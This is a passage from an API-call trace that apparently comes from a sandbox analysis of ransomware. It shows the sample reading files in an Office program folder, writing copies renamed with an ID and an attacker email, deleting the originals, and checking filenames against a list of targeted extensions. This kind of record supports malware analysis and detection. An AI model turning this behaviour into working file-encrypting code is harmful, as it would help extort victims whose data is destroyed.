Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.262] GetLastError () returned 0x0 [0188.262] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x221, lpOverlapped=0x0) returned 1 [0188.263] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x230, lpOverlapped=0x0) returned 1 [0188.264] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.264] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10c, lpOverlapped=0x0) returned 1 [0188.264] SetEndOfFile (hFile=0x450) returned 1 [0188.264] CloseHandle (hObject=0x450) returned 1 [0188.264] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.264] SetEndOfFile (hFile=0x4d4) returned 1 [0188.438] CloseHandle (hObject=0x4d4) returned 1 [0188.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0188.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.443] lstrlenW (lpString=".doc") returned 4 [0188.443] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0188.443] lstrlenW (lpString=".docx") returned 5 [0188.443] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0188.443] lstrlenW (lpString=".pdf") returned 4 [0188.443] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0188.443] lstrlenW (lpString=".xls") returned 4 [0188.443] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0188.443] lstrlenW (lpString=".xlsx") returned 5 [0188.443] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0188.443] lstrlenW (lpString=".ppt") returned 4 [0188.443] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0188.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".zip") returned 4 [0188.444] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".rar") returned 4 [0188.444] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".bz2") returned 4 [0188.444] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".7z") returned 3 [0188.444] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".dbf") returned 4 [0188.444] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".1cd") returned 4 [0188.444] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".jpg") returned 4 [0188.444] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".doc") returned 4 [0188.444] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".docx") returned 5 [0188.444] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0188.444] lstrlenW (lpString=".pdf") returned 4 [0188.444] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".xls") returned 4 [0188.444] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString=".xlsx") returned 5 [0188.444] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0188.444] lstrlenW (lpString=".ppt") returned 4 [0188.444] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0188.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.444] lstrlenW (lpString=".zip") returned 4 [0188.445] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0188.445] lstrlenW (lpString=".rar") returned 4 [0188.445] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0188.445] lstrlenW (lpString=".bz2") returned 4 [0188.445] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0188.445] lstrlenW (lpString=".7z") returned 3 [0188.445] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0188.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.445] lstrlenW (lpString=".dbf") returned 4 [0188.445] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0188.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.445] lstrlenW (lpString=".1cd") returned 4 [0188.445] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0188.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0188.445] lstrlenW (lpString=".jpg") returned 4 [0188.445] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0188.445] lstrcmpiW (lpString1=".manifest", lpString2=".kr") returned 1 [0188.445] lstrlenW (lpString="AppVPackaging.dll.manifest") returned 26 [0188.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.446] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=707) returned 1 [0188.446] CloseHandle (hObject=0x4d4) returned 1 [0188.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 0x220 [0188.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.446] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.446] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0188.447] GetLastError () returned 0x0 [0188.447] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2c3, lpOverlapped=0x0) returned 1 [0188.468] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d0, lpOverlapped=0x0) returned 1 [0188.469] ReadFile (in: hFile=0x4d4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0188.469] WriteFile (in: hFile=0x450, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x108, lpOverlapped=0x0) returned 1 [0188.469] SetEndOfFile (hFile=0x450) returned 1 [0188.469] CloseHandle (hObject=0x450) returned 1 [0188.469] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0188.469] SetEndOfFile (hFile=0x4d4) returned 1 [0188.472] CloseHandle (hObject=0x4d4) returned 1 [0188.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0188.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.manifest")) returned 1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.473] lstrlenW (lpString=".doc") returned 4 [0188.473] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0188.473] lstrlenW (lpString=".docx") returned 5 [0188.473] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0188.473] lstrlenW (lpString=".pdf") returned 4 [0188.473] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0188.473] lstrlenW (lpString=".xls") returned 4 [0188.473] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0188.473] lstrlenW (lpString=".xlsx") returned 5 [0188.473] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0188.473] lstrlenW (lpString=".ppt") returned 4 [0188.474] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString=".zip") returned 4 [0188.474] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".rar") returned 4 [0188.474] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".bz2") returned 4 [0188.474] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".7z") returned 3 [0188.474] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString=".dbf") returned 4 [0188.474] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString=".1cd") returned 4 [0188.474] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString=".jpg") returned 4 [0188.474] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.474] lstrlenW (lpString=".doc") returned 4 [0188.474] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".docx") returned 5 [0188.474] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0188.474] lstrlenW (lpString=".pdf") returned 4 [0188.474] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".xls") returned 4 [0188.474] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0188.474] lstrlenW (lpString=".xlsx") returned 5 [0188.474] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0188.474] lstrlenW (lpString=".ppt") returned 4 [0188.475] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.475] lstrlenW (lpString=".zip") returned 4 [0188.475] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString=".rar") returned 4 [0188.475] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString=".bz2") returned 4 [0188.475] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString=".7z") returned 3 [0188.475] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0188.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.475] lstrlenW (lpString=".dbf") returned 4 [0188.475] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.475] lstrlenW (lpString=".1cd") returned 4 [0188.475] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0188.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.manifest") returned 75 [0188.475] lstrlenW (lpString=".jpg") returned 4 [0188.475] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0188.475] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.475] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0188.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.476] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=194776) returned 1 [0188.476] CloseHandle (hObject=0x4d4) returned 1 [0188.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0188.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.477] lstrlenW (lpString=".doc") returned 4 [0188.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString=".docx") returned 5 [0188.477] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0188.477] lstrlenW (lpString=".pdf") returned 4 [0188.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString=".xls") returned 4 [0188.477] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString=".xlsx") returned 5 [0188.477] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0188.477] lstrlenW (lpString=".ppt") returned 4 [0188.477] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.477] lstrlenW (lpString=".zip") returned 4 [0188.477] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString=".rar") returned 4 [0188.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.477] lstrlenW (lpString=".bz2") returned 4 [0188.477] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.477] lstrlenW (lpString=".7z") returned 3 [0188.477] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString=".dbf") returned 4 [0188.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString=".1cd") returned 4 [0188.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString=".jpg") returned 4 [0188.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString=".doc") returned 4 [0188.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString=".docx") returned 5 [0188.478] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0188.478] lstrlenW (lpString=".pdf") returned 4 [0188.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString=".xls") returned 4 [0188.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString=".xlsx") returned 5 [0188.478] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0188.478] lstrlenW (lpString=".ppt") returned 4 [0188.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.478] lstrlenW (lpString=".zip") returned 4 [0188.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString=".rar") returned 4 [0188.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.478] lstrlenW (lpString=".bz2") returned 4 [0188.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.478] lstrlenW (lpString=".7z") returned 3 [0188.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.479] lstrlenW (lpString=".dbf") returned 4 [0188.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.479] lstrlenW (lpString=".1cd") returned 4 [0188.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0188.479] lstrlenW (lpString=".jpg") returned 4 [0188.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.479] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0188.479] lstrlenW (lpString="concrt140.dll") returned 13 [0188.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0188.480] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=243520) returned 1 [0188.480] CloseHandle (hObject=0x4d4) returned 1 [0188.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll")) returned 0x220 [0188.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0188.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0188.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.480] lstrlenW (lpString=".doc") returned 4 [0188.481] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.481] lstrlenW (lpString=".docx") returned 5 [0188.481] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.481] lstrlenW (lpString=".pdf") returned 4 [0188.481] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.481] lstrlenW (lpString=".xls") returned 4 [0188.481] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.481] lstrlenW (lpString=".xlsx") returned 5 [0188.481] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.481] lstrlenW (lpString=".ppt") returned 4 [0188.482] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString=".zip") returned 4 [0188.482] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.482] lstrlenW (lpString=".rar") returned 4 [0188.482] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.482] lstrlenW (lpString=".bz2") returned 4 [0188.482] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.482] lstrlenW (lpString=".7z") returned 3 [0188.482] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString=".dbf") returned 4 [0188.482] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString=".1cd") returned 4 [0188.482] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString=".jpg") returned 4 [0188.482] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.482] lstrlenW (lpString=".doc") returned 4 [0188.483] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString=".docx") returned 5 [0188.483] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0188.483] lstrlenW (lpString=".pdf") returned 4 [0188.483] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString=".xls") returned 4 [0188.483] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString=".xlsx") returned 5 [0188.483] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0188.483] lstrlenW (lpString=".ppt") returned 4 [0188.483] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.483] lstrlenW (lpString=".zip") returned 4 [0188.483] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString=".rar") returned 4 [0188.483] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0188.483] lstrlenW (lpString=".bz2") returned 4 [0188.483] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0188.483] lstrlenW (lpString=".7z") returned 3 [0188.483] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0188.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.483] lstrlenW (lpString=".dbf") returned 4 [0188.483] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0188.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.483] lstrlenW (lpString=".1cd") returned 4 [0188.483] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0188.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\concrt140.dll") returned 62 [0188.483] lstrlenW (lpString=".jpg") returned 4 [0188.483] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0188.486] lstrcmpiW 